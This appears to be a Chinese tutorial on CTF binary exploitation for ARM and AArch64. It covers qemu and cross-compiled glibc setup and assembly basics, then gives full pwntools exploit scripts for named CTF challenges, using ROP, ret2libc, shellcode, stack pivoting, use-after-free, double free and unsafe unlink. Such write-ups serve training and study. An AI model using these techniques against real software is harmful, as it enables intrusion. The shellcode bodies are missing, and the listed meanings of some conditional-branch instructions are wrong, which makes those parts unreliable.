CTF 中 ARM & AArch64 架构下的 Pwn
环境配置
一般我们说的arm
是ARMv7
架构,是32
位,而aarch64
是ARMv8
架构,也就是64
位。
ARM
软件包的安装:
1 2 | sudo apt - get install gcc - arm - linux - gnueabi
sudo apt - get install gcc - aarch64 - linux - gnu
|
在一般的CTF
比赛中,arm & aarch64
架构的题所给的libc
都是glibc
,当然也有少部分比赛所给的libc
是uclibc
或musl-libc
,这点和x86_64
架构下的题是一样的。
题目所给的libc
一般是不带函数符号和调试符号的,而ARM
架构也不像x86_64
架构一样,可以把带符号的deb
包(如libc6-dbg_2.31-0ubuntu9.2_amd64.deb
)解压后放在与不带符号的libc
同目录下的.debug
文件夹中,调试的时候就可以自动加载符号了。
当然,我们也可以下载arm
对应的带符号的deb
包,然后在pwndbg
中用add-symbol-file
命令手动加载符号,但是那样太麻烦了。
所以,我们最好自己编译出对应版本的libc
,就可以带符号并且进行源码级调试了,然而,我们一般用的都是x86_64
架构,而我们现在需要编译出ARM
架构下的libc
,自然就不能用原先自带的x86_64
架构下的gcc/g++
进行编译了,而是需要进行交叉编译,也就需要相应的交叉编译工具链,这里我使用的是linaro
公司维护的工具链。
源码建议在这里下载:glibc_source_code
交叉编译的工具链下载:arm aarch64
进行交叉编译的命令如下:
1. arm
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | cd ... / glibc - 2.31
mkdir arm
mkdir build
cd build
CC = ... / gcc - linaro - 7.5 . 0 - 2019.12 - x86_64_arm - linux - gnueabihf / bin / arm - linux - gnueabihf - gcc \
CXX = ... / gcc - linaro - 7.5 . 0 - 2019.12 - x86_64_arm - linux - gnueabihf / bin / arm - linux - gnueabihf - g + + \
CFLAGS = "-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" \
CXXFLAGS = "-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" \
.. / configure \
- - prefix = ... / glibc - 2.31 / arm \
- - host = arm - linux \
- - target = arm - linux \
- - disable - werror
make
make install
|
2. aarch64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | cd ... / glibc - 2.31
mkdir aarch64
mkdir build
cd build
CC = ... / gcc - linaro - 7.5 . 0 - 2019.12 - x86_64_aarch64 - linux - gnu / bin / aarch64 - linux - gnu - gcc \
CXX = ... / gcc - linaro - 7.5 . 0 - 2019.12 - x86_64_aarch64 - linux - gnu / bin / aarch64 - linux - gnu - g + + \
CFLAGS = "-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" \
CXXFLAGS = "-g -g3 -ggdb -gdwarf-4 -Og -Wno-error" \
.. / configure \
- - prefix = ... / glibc - 2.31 / aarch64 \
- - host = aarch64 - linux \
- - target = aarch64 - linux \
- - disable - werror
make
make install
|
需要注意的是,我们交叉编译出来的libc
会将绝对路径硬编码进去(开-fPIC
编译选项不知道能不能写相对路径进去,可以试试),所以编译后libc
所在路径是不能变动的,但是我们可以将libc
所在的地址软链接到题目文件夹下,如:ln -s .../glibc-2.31/aarch64/lib ./lib
。
比如设置的--prefix
是.../glibc-2.31/aarch64
,也就是我们最后make install
后编译出的文件都存放在这个目录下,其实只需要保留其中的lib
文件夹中与libc
和ld
相关的文件及其软链接就够了(也就四个文件),其他的都可以删掉,如果不需要源码级调试,源码也都可以删掉(其实这里建议大家只保留一些常用的源码文件夹即可)。
然后就是安装qemu
了,因为我们无法x86_64
架构下直接运行ARM
架构的二进制文件,所以需要在qemu
所模拟出的环境中跑,其实对qemu
版本要求不高,直接apt
一行安装即可:sudo apt-get install qemu-user qemu-system
。
还有,我们调试ARM
架构的时候需要gdb-multiarch
,也是用apt
一行安装即可:sudo apt-get install gdb-multiarch
。
我们需要用qemu
来运行所给的二进制文件,下面给出启动脚本和调试脚本:
1. start.sh
1 2 3 4 | qemu - aarch64 \
- g 1234 \
- L . / . / pwn
|
如果是arm
架构,则是qemu-arm
。
如果不需要调试,而是直接运行,则去掉-g
选项。
如果是运行静态编译的文件,则去掉-L
选项。
上面-L ./
中的./
代表重置的当前根目录。
一般来说,所给的二进制文件所需要的libc
和ld
文件都被硬编码在其中的,所需的libc
地址基本都是/lib/libc.so.6
,所需的ld
地址也都是/lib/ld-...so..
这种,都需要从/lib
,也就是根目录下的lib
文件夹中去寻找。
因此,若是我们当前目录下有所需的lib
文件夹,那么根目录就要被设置为./
,也就是当前目录。
2. gdb.sh
1 2 3 4 5 6 7 8 9 10 | gdb - multiarch - q \
- ex "file ./pwn" \
- ex "b ..." \
- ex "dir .../glibc-source/2.31/stdio-common" \
- ex "dir .../glibc-source/2.31/stdlib" \
- ex "dir .../glibc-source/2.31/libio" \
- ex "dir .../glibc-source/2.31/malloc" \
- ex "target remote :1234" \
- ex "c"
|
我这里将常用的源码文件夹移动了位置(不在编译libc
的原目录下了),所以需要用dir
命令重定位一下源码。
以上只是简单的说一说,更具体的可以自行查阅相关资料。
基本知识
先说说qemu
吧,在CTF
比赛中,绝大多数ARM
架构的题都是在qemu
模拟出的环境中跑的,而qemu
有些不太安全的特性,比如它没有地址的随机化,也没有NX
保护,即使题目所给的二进制文件开了NX
和PIE
保护,也只是对真机环境奏效,而在qemu
中跑的时候,仍然相当于没有这些保护,也就是说,qemu
中所有地址都是有可执行权限的(包括堆栈,甚至bss
段等),然后libc_base
和elf_base
每次跑都是固定的,当然这个固定是指在同一个环境下,本地跑和远程跑的这个固定值极有可能不相同,因此有时候打远程仍需泄露libc_base
这些信息(当然也可以选择爆破,一般和本地也就差一两位的样子)。
再来说说arm
和aarch64
架构的一些常用的汇编指令集:
arm
arm
架构下的寄存器和x86_64
架构还是有很大区别的,其中R0 ~ R3
是用来依次传递参数的,相当于x64
下的rdi, rsi, rdx
,R0
还被用于存储函数的返回值,R7
常用来存放系统调用号,R11
是栈帧,相当于ebp
,在arm
中也被叫作FP
,相应地,R13
是栈顶,相当于esp
,在arm
中也被叫作SP
,R14(LP)
是用来存放函数的返回地址的,R15
相当于eip
,在arm
中被叫作PC
,但是在程序运行的过程中,PC
存储着当前指令往后两条指令的位置,在arm
架构中并不是像x86_64
那样用ret
返回,而是直接pop {PC}
。
在arm
中的ldr
和str
指令是必须清楚的,其中ld
就是load
(加载),st
就是store
(存储),而r
自然就是register
(寄存器),搞明白这些以后,这两个指令就很容易理解了(cond
为条件):
LDR {cond} Rd, <addr>
:加载指定地址(addr
)上的数据(字),放入到Rd
寄存器中。
STR {cond} Rd, <addr>
:将Rd
寄存器中的数据(字)存储到指定地址(addr
)中。
当然,这两个指令有很多种写法,灵活多变:
str r2, [r1, #2]
:寄存器r2
中的值被存放到寄存器r1
中的地址加2
处的地址中,r1
寄存器中的值不变;
str r2, [r1, #2]!
:与上一条一样,不过最后r1 += 4
,这里的{!}
是可选后缀,若选用该后缀,则表示请求回写,也就是当数据传送完毕之后,将最后的地址写入到基址寄存器(Rn
)中;
ldr r2, [r1], #-2
:将r1
寄存器里地址中的值给r2
寄存器,最后r1 -= 2
;
上面的立即数或者寄存器也类似,此外还可以有这些写法:
str r2, [r1, r3, LSL#2]
:将寄存器r2
中的值存储到寄存器r1
中的地址加上r3
寄存器中的值左移两位后的值所指向的地址中;
ldr r2, [r1], r3, LSL#2
:将r1
寄存器里地址中的值给r2
寄存器,最后r1 += r3 << 2
.
在arm
中仍有mov
指令,通常用于寄存器与寄存器间的数据传输,也可以传递立即数。
mov r1, #0x10
:r1 = 0x10
mov r1, r2
:r1 = r2
mov r1, r2, LSL#2
:r1 = r2 << 2
由此可见,ldr
和str
指令通常用于寄存器与内存间的数据传递,其中会通过另一个寄存器作为中介,而mov
指令则是通常用于两个寄存器之间数值的传递。
此外,还有数据块传输指令LDM, STM
,具体请参考:arm汇编指令之数据块传输(LDM,STM)详解。
其中提到了STMFD
和LDMFD
指令,可用作压栈和弹栈,如STMFD SP! ,{R0-R7,LR}
和LDMFD SP! ,{R0-R7,LR}
,但是在我们拿到的CTF
题目中,常见的仍是push {}
和pop {}
指令。
还需要知道的是add
和sub
命令:
add r1, r2, #2
相当于 r1 = r2 + 2
;
sub r1, r2, r3
相当于 r1 = r2 - r3
.
还有跳转指令B
相关的一些指令,相当于jmp
:
B Label
:无条件跳转到Label
处;
BL Label
:当程序跳转到标号Label
处执行时,同时将当前的PC
值保存到R14
中;
BX Label
:这里需要先提一下arm
指令压缩形式的子集Thumb
指令了,不像是arm
指令是一条四个字节,Thumb
指令一条两个字节,arm
对应的cpu
工作状态位为0
,而Thumb
对应的cpu
工作状态位为1
,我们从其中一个指令集跳到另外一个指令集的时候,需要同时修改其对应的cpu
工作状态位,不然会报invalid instrument
错误,当BX
后面的地址值最后一个bit
为1
时,则转为Thumb
模式,否则转为arm
模式,直接pop {pc}
这样跳转也有这种特性;
BLX Label
:就是BL + BX
指令共同作用的效果。
位运算命令:and orr eor
分别是 按位与、或、异或。
aarch64
aarch64
和arm
架构相比,还是有一些汇编指令上的区别的:
首先仍是寄存器,在64
位下都叫作Xn
寄存器了,其对应的低32
位叫作Wn
寄存器,其中栈顶是X31(SP)
寄存器,栈帧是X29(FP)
寄存器,X0 ~ X7
用来依次传递参数,X0
存放着函数返回值,X8
常用来存放系统调用号或一些函数的返回结果,X32
是PC
寄存器,X30
存放着函数的返回地址(aarch64
中的RET
指令返回X30
寄存器中存放的地址)。
然后是跳转指令,仍有B
,BL
指令,新增了BR
指令(向寄存器中的地址跳转),BLR
组合指令。
还有一些带判断的跳转指令:b.ne
是不等则跳转,b.eq
是等于则跳转,b.le
是大于则跳转,b.ge
是小于则跳转,b.lt
是大于等于则跳转,b.gt
是小于等于则跳转,cbz
为结果等于零则跳转,cbnz
为结果非零则跳转...
在aarch64
架构下的一大变化就是,不再使用push
和pop
指令压栈和弹栈了,也没有LDM
和STM
指令,而是使用STP
和LDP
指令:
STP x4, x5, [sp, #0x20]
:将sp+0x20
处依次覆盖为x4,x5
,即x4
入栈到sp+0x20
,x5
入栈到sp+0x28
,最后sp
的位置不变。
LDP x29, x30, [sp], #0x40
:将sp
弹栈到x29
,sp+0x8
弹栈到x30
,最后sp += 0x40
。
其中,STP
和LDP
中的P
是pair
(一对)的意思,也就是说,仅可以同时读/写两个寄存器。
基本来说,常用的就是以上的命令,但是arm
和aarch64
的命令远远不止以上这些,希望各位读者自行查阅相关资料进行学习。
【附】系统调用号:
基于arm架构的linux系统调用号
基于aarch64架构的linux系统调用号
一些例题
这部分就不准备细说了,因为这些题目难的可能只是对arm
和aarch64
架构不太熟悉,漏洞点和利用方式都和x86_64
架构差不多,且利用手法也没有x86_64
架构下那么花里胡哨,看看exp
基本也就都清楚了。
jarvisoj typo
静态编译的程序,也就不需要动态链接库了,因此libc
中的system
和/bin/sh
字符串在所给的二进制文件中自然是有的,不过所给的二进制文件去除了符号表,我们不容易找到它们的位置。
这里建议先用IDA
的Rizzo
插件修复符号表,就可以清楚地看到system
函数的位置了,不然用交叉引用来找的话比较麻烦。
Rizzo 的 Github 项目地址
1 2 3 4 5 6 7 8 9 10 11 12 13 | from pwn import *
context(os = "linux" , arch = 'arm' , log_level = 'debug' )
io = process( "qemu-arm ./pwn" , shell = True )
gadget_addr = 0x20904
bin_sh_addr = 0x6c384
system_addr = 0x110B4
io.send(b '\n' )
payload = b 'a' * 0x70 + p32(gadget_addr) + p32(bin_sh_addr) + p32( 0 ) + p32(system_addr)
io.send(payload)
io.interactive()
|
Codegate2018 melong
一个ret2libc
...
需要注意的是,调用puts
后,最后会进入write
,但是并不是从头开始调用write
函数的,我们知道,当进入一个函数的时候,会先push {}
一串寄存器,再在该函数返回时,pop {}
对应的寄存器,使得栈恢复到进入该函数前的状态,而这里由于从puts
中走到write
的时候,不是从头开始执行的,因此不会有前面push {}
的过程,但是最后会有pop {}
的发生,故会导致write
返回的时候栈恢复不到原先的样子,因此,需要压进去一些垃圾数据来使栈恢复。
我本地和远程的libc
版本不同,所以需要压进去的垃圾数据的个数也不同,这个需要自行调试,也体现出带符号表调试的必要性。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 | from pwn import *
context(os = 'linux' , arch = 'arm' , log_level = 'debug' )
io = process( "qemu-arm -L ./ ./pwn" , shell = True )
elf = ELF( "./pwn" )
libc = ELF( "./lib/libc-2.27.so" )
def check(height, weight):
io.sendlineafter( "Type the number:" , b '1' )
io.sendlineafter( "Your height(meters) : " , str (height))
io.sendlineafter( "Your weight(kilograms) : " , str (weight))
def PT(size):
io.sendlineafter( "Type the number:" , b '3' )
io.sendlineafter( "How long do you want to take personal training?\n" , str (size))
def write_diary(payload):
io.sendlineafter( "Type the number:" , b '4' )
io.send(payload)
def quit():
io.sendlineafter( "Type the number:" , b '6' )
if __name__ = = '__main__' :
check( 233 , 233 )
PT( - 1 )
pop_r0_pc = 0x11bbc
payload = b 'a' * 0x54 + p32(pop_r0_pc) + p32(elf.got[ 'puts' ]) + p32(elf.plt[ 'puts' ]) + p32( 0 ) * 3 + p32(elf.sym[ 'main' ])
write_diary(payload)
quit()
io.recvuntil( "See you again :)\n" )
libc.address = u32(io.recv( 4 )) - libc.sym[ 'puts' ]
success( "libc_base:\t" + hex (libc.address))
check( 233 , 233 )
PT( - 1 )
payload = b 'a' * 0x54 + p32(pop_r0_pc) + p32( next (libc.search(b '/bin/sh' ))) + p32(libc.sym[ 'system' ])
write_diary(payload)
quit()
io.interactive()
|
Root Me : stack_buffer_overflow_basic
一个ret2shellcode
...
我都是手撸shellcode
,这里svc 0
相当于int 0x80 / syscall
,在程序运行中,pc
寄存器指向当前指令后两条指令的位置。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 | from pwn import *
context(os = 'linux' , arch = 'arm' , log_level = 'debug' )
io = remote( "node4.buuoj.cn" , 26999 )
io.sendlineafter( "Give me data to dump:\n" , b 'leak' )
shellcode_addr = int (io.recv( 10 ), 16 )
success( "shellcode_addr:\t" + hex (shellcode_addr))
io.sendlineafter( "Dump again (y/n):\n" , b 'y' )
shellcode = asm(
)
payload = shellcode.ljust( 0xa4 , b '\x00' ) + p32(shellcode_addr)
io.sendlineafter( "Give me data to dump:\n" , payload)
io.sendlineafter( "Dump again (y/n):\n" , b 'n' )
io.interactive()
|
InCTF-2018 wARMup
观察以下这段汇编代码段:
.text:0001052C SUB R3, R11, #-buf
.text:00010530 MOV R2, #0x78 ; 'x' ; nbytes
.text:00010534 MOV R1, R3 ; buf
.text:00010538 MOV R0, #0 ; fd
.text:0001053C BL read
可以知道,read
读入的源地址是由R11
(相当于ebp
)控制的,这点和x86_64
架构下也是类似的。
因此,我们可以控制R11
寄存器进行二次读入,将shellcode
读入到bss
段上,然后直接打过去就行(因为qemu
所有地址都是可执行的,自然包括bss
段)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 | from pwn import *
context(os = 'linux' , arch = 'arm' , log_level = 'debug' )
io = process( "qemu-arm -L ./ ./pwn" , shell = True )
elf = ELF( "./pwn" )
payload = b 'a' * 0x64 + p32(elf.bss() + 0x68 ) + p32( 0x1052C )
io.send(payload)
shellcode = asm(
)
payload = shellcode.ljust( 0x68 , b '\x00' ) + p32(elf.bss())
io.send(payload)
io.interactive()
|
上海骇极杯 2018 baby_arm
其实这个题若是qemu
环境跑的话,任意地址都是有可执行权限的,所以直接ret2shellcode
就能通:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | from pwn import *
context(os = 'linux' , arch = 'aarch64' , log_level = 'debug' )
io = process( "qemu-aarch64 -L ./ ./pwn" , shell = True )
elf = ELF( "./pwn" )
shellcode_addr = 0x411068
shellcode = asm(
)
io.sendafter( "Name:" , shellcode)
payload = b 'a' * 0x48 + p64(shellcode_addr)
io.send(payload)
io.interactive()
|
但是这样就很没意思了,我们就把他当作真机的环境,需要我们用mprotect
赋予bss
段可执行权限,这样就是一个aarch64
架构下的ret2csu
了,不过和x86_64
架构下的差不多,这里也就不多做分析了。
gadget 1 :
.text:00000000004008CC LDP X19, X20, [SP,#0x10] ; 将sp+0x10处数据给x19,sp+0x18处数据给x20
.text:00000000004008D0 LDP X21, X22, [SP,#0x20] ; 将sp+0x20处数据给x21,sp+0x28处数据给x22
.text:00000000004008D4 LDP X23, X24, [SP,#0x30] ; 将sp+0x300处数据给x23,sp+0x38处数据给x24
.text:00000000004008D8 LDP X29, X30, [SP],#0x40 ; 将sp处数据给x29,sp+0x8处数据给x30,并将栈抬高64字节
.text:00000000004008DC RET ; 返回x30寄存器中存放的地址
gadget 2 :
.text:00000000004008AC LDR X3, [X21,X19,LSL#3] ; 将(x21+x19<<3)中的值(地址)赋给x3
.text:00000000004008B0 MOV X2, X22 ; 将x22寄存器中的值赋给x2(部署3参)
.text:00000000004008B4 MOV X1, X23 ; 将x23寄存器中的值赋给x1(部署2参)
.text:00000000004008B8 MOV W0, W24 ; 将w24寄存器中的值赋给w0(部署1参)
.text:00000000004008BC ADD X19, X19, #1 ; x19寄存器中的值加一
.text:00000000004008C0 BLR X3 ; 跳转至x3寄存器中存放的地址
.text:00000000004008C4 CMP X19, X20 ; 比较x19寄存器与x20寄存器中的值
.text:00000000004008C8 B.NE loc_4008AC ; 不等则跳转
注:shellcode
中的xzr
是清零寄存器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 | from pwn import *
context(os = 'linux' , arch = 'aarch64' , log_level = 'debug' )
io = process( "qemu-aarch64 -L ./ ./pwn" , shell = True )
elf = ELF( "./pwn" )
gadget1_addr = 0x4008CC
gadget2_addr = 0x4008AC
mprotect_addr = 0x411068
shellcode_addr = 0x411070
shellcode = asm(
)
payload = p64(elf.plt[ 'mprotect' ]) + shellcode
io.sendafter( "Name:" , payload)
payload = b 'a' * 0x48 + p64(gadget1_addr)
payload + = p64( 0 ) + p64(gadget2_addr)
payload + = p64( 0 ) + p64( 1 )
payload + = p64(mprotect_addr) + p64( 0x7 )
payload + = p64( 0x1000 ) + p64(shellcode_addr & 0xfff000 )
payload + = p64( 0 ) + p64(shellcode_addr)
io.send(payload)
io.interactive()
|
Root Me : stack_spraying
我是写了个栈迁移(stack pivot
),其实方法有很多。
观察到下面这个gadget
:
.text:00010680 SUB SP, R11, #4
.text:00010684 POP {R11,PC}
很容易想到,可以通过控制R11
寄存器进行栈迁移。
这里也用到了上面InCTF-2018 wARMup
一题所利用的方式,先将gadget
读到了bss
段上,然后再栈迁移过去。
需要注意一些细节,比如迁移到的地址需要在bss
段的基础上抬高一段距离等等。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | from pwn import *
context(os = 'linux' , arch = 'arm' , log_level = 'debug' )
io = process( "qemu-arm -L ./ ./pwn" , shell = True )
elf = ELF( "./pwn" )
write_addr = elf.bss() + 0x300
payload = b 'a' * 0x40 + p32(write_addr + 0x44 ) + p32( 0x10658 )
io.sendline(payload)
payload = b 'deadbeaf' + p32(write_addr + 0x20 ) + p32( 0x105a0 ) + p32(write_addr + 0x38 )
payload = payload.ljust( 0x38 , b '\x00' ) + b '/bin/sh\x00'
payload + = p32(write_addr + 12 ) + p32( 0x10680 )
io.sendline(payload)
io.interactive()
|
Root Me : use_after_free
由于alias
索引没清空,导致了UAF
,即使是qemu
模拟的环境,本地和远程环境下固定的libc_base
也会不一样,因此最好还是先泄露libc_base
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 | from pwn import *
context(os = 'linux' , arch = 'arm' , log_level = 'debug' )
io = process( "qemu-arm -L ./ ./pwn" , shell = True )
elf = ELF( "./pwn" )
libc = ELF( "./lib/libc.so.6" )
io.sendline( "add winmt" )
sleep( 0.1 )
io.sendline( "ctf" )
sleep( 0.1 )
io.sendline( "pwner" )
sleep( 0.1 )
io.sendline( "add WINMT" )
sleep( 0.1 )
io.sendline( "CTF" )
sleep( 0.1 )
io.sendline( "PWNER" )
sleep( 0.1 )
io.sendline( "del winmt" )
sleep( 0.1 )
io.sendline( "edit WINMT" )
sleep( 0.1 )
io.sendline( "CTF" )
sleep( 0.1 )
io.sendline(b 'a' * 0x38 + p32(elf.got[ 'strcmp' ]))
sleep( 0.1 )
io.sendline( str ( 2333 ))
sleep( 0.1 )
io.recv()
io.sendline( "show winmt" )
io.recvuntil( " Desc: " )
libc.address = u32(io.recv( 4 )) - libc.sym[ 'strcmp' ]
success( "libc_base:\t" + hex (libc.address))
io.sendline( "edit winmt" )
sleep( 0.1 )
io.sendline( "ctf" )
sleep( 0.1 )
io.sendline(p32(libc.sym[ 'system' ]) + p32(libc.sym[ 'fflush' ]))
sleep( 0.1 )
io.sendline( str ( 6666 ))
sleep( 0.1 )
io.sendline( "/bin/sh\x00" )
io.interactive()
|
2021 蓝帽杯 portable
arm
架构下很简单的一道堆题,漏洞点就在switch
没有default
卡住,导致可以继续向下执行,继而可以弄出double free
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | from pwn import *
context(os = "linux" , arch = 'arm' , log_level = 'debug' )
io = process( "qemu-arm -L ./ ./pwn" , shell = True )
elf = ELF( "./pwn" )
libc = ELF( "./lib/libc-2.27.so" )
def create(role, size = 0 , name = "winmt" ):
io.sendlineafter( ">> " , b '1' )
io.sendlineafter( ">> " , str (role))
if role = = 0 :
return
io.sendlineafter( "size?\n" , str (size))
io.sendafter( "name?\n" , name)
def delete(idx):
io.sendlineafter( ">> " , b '2' )
io.sendlineafter( "index?\n" , str (idx))
def show(idx):
io.sendlineafter( ">> " , b '3' )
io.sendlineafter( "index?\n" , str (idx))
def quit():
io.sendlineafter( ">> " , b '5' )
if __name__ = = '__main__' :
payload = p32( 0 ) * 7 + p32( 1 )
create( 1 , 0x300 , payload)
create( 1 , 0x20 , b '/bin/sh\x00' )
delete( 0 )
create( 0 )
create( 0 )
show( 2 )
io.recvuntil( "player name: " )
libc.address = u32(io.recv( 4 )) - 580 - libc.sym[ 'main_arena' ]
success( "libc_base:\t" + hex (libc.address))
create( 1 , 0x20 )
delete( 3 )
create( 0 )
delete( 3 )
create( 1 , 0x20 , p32(libc.sym[ '__free_hook' ]))
create( 1 , 0x20 , p32(libc.sym[ 'system' ]))
delete( 1 )
io.interactive()
|
2020 第五空间 pwnme
arm
架构下的堆题,不过这题的libc
不是glibc
了,而是uclibc
,其实在这道题中没什么区别,一样的做就可以了,有堆溢出漏洞,又没有PIE
,于是打一个unsafe unlink
即可,很容易。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 | from pwn import *
context(os = "linux" , arch = 'arm' , log_level = 'debug' )
io = process( "qemu-arm -L ./ ./pwn" , shell = True )
elf = ELF( "./pwn" )
libc = ELF( "./lib/libc.so.0" )
def show():
io.sendlineafter( ">>> " , b '1' )
def add(size, content = b 'winmt' ):
io.sendlineafter( ">>> " , b '2' )
io.sendlineafter( "Length:" , str (size))
io.sendafter( "Tag:" , content)
def edit(idx, size, content):
io.sendlineafter( ">>> " , b '3' )
io.sendlineafter( "Index:" , str (idx))
io.sendlineafter( "Length:" , str (size))
io.sendafter( "Tag:" , content)
def delete(idx):
io.sendlineafter( ">>> " , b '4' )
io.sendlineafter( "Tag:" , str (idx))
if __name__ = = '__main__' :
add( 0x10 )
add( 0x50 )
add( 0x10 )
payload = p32( 0 ) + p32( 0x11 ) + p32( 0x2106C - 4 * 3 ) + p32( 0x2106C - 4 * 2 ) + p32( 0x10 ) + p32( 0x58 )
edit( 0 , len (payload), payload)
delete( 1 )
payload = p32( 0 ) * 2 + p32( 0x10 ) + p32(elf.got[ 'atoi' ])
edit( 0 , len (payload), payload)
show()
io.recvuntil( "0 : " )
libc.address = u32(io.recv( 4 )) - libc.sym[ 'atoi' ]
success( "libc_base:\t" + hex (libc.address))
edit( 0 , 4 , p32(libc.sym[ 'system' ]))
io.sendlineafter( ">>> " , b '/bin/sh\x00' )
io.interactive()
|
2021 DASCTF 1月赛 ememarm
aarch64
架构下的堆,很明显有一个off by null
,简单构造利用一下即可。
需要注意的是aarch64
架构下的libc
泄露,由于跑qemu
的时候,libc_base
一般都是0x4000XXX000
这样的地址,因此泄露数据的时候会被\x00
截断,其实只需要泄露后三个字节(后六位),然后加上0x4000000000
即可得到泄露出的libc
地址。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 | from pwn import *
context(os = 'linux' , arch = 'aarch64' , log_level = 'debug' )
io = process( "qemu-aarch64 -L ./ ./pwn" , shell = True )
elf = ELF( "./pwn" )
libc = ELF( "./lib/libc-2.27.so" )
def add(sign = 0 , cx = "winmt" , cy = "winmt" ):
io.sendlineafter( "you choice: \n" , b '1' )
io.sendafter( "cx:\n" , cx)
io.sendafter( "cy:\n" , cy)
io.sendlineafter( "delete?\n" , str (sign))
def del_edit(idx, content):
io.sendlineafter( "you choice: \n" , b '3' )
io.sendline( str (idx))
io.send(content)
def quit():
io.sendlineafter( "you choice: \n" , b '5' )
if __name__ = = '__main__' :
io.send(b '/bin/sh\x00' )
add()
add()
add( 1 )
add( 1 , p64( 0 ), p64( 0x21 ))
del_edit( 1 , p64( 0 ) + p64( 0x31 ) + p64( 0 ))
add( 1 , p64( 0 ), p64(elf.got[ 'printf' ]))
del_edit( 2 , p64(elf.got[ 'puts' ]))
add( 0 , p64( 0 ), p64(elf.got[ 'free' ]))
del_edit( 2 , p64(elf.plt[ 'puts' ]))
libc.address = 0x4000000000 + u64(io.recv( 3 ).ljust( 8 , b '\x00' )) - libc.sym[ 'puts' ]
success( "libc_base:\t" + hex (libc.address))
del_edit( 2 , p64(libc.sym[ 'system' ]))
quit()
io.interactive()
|
[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。
最后于 2023-12-9 11:57
被winmt编辑
,原因: (手滑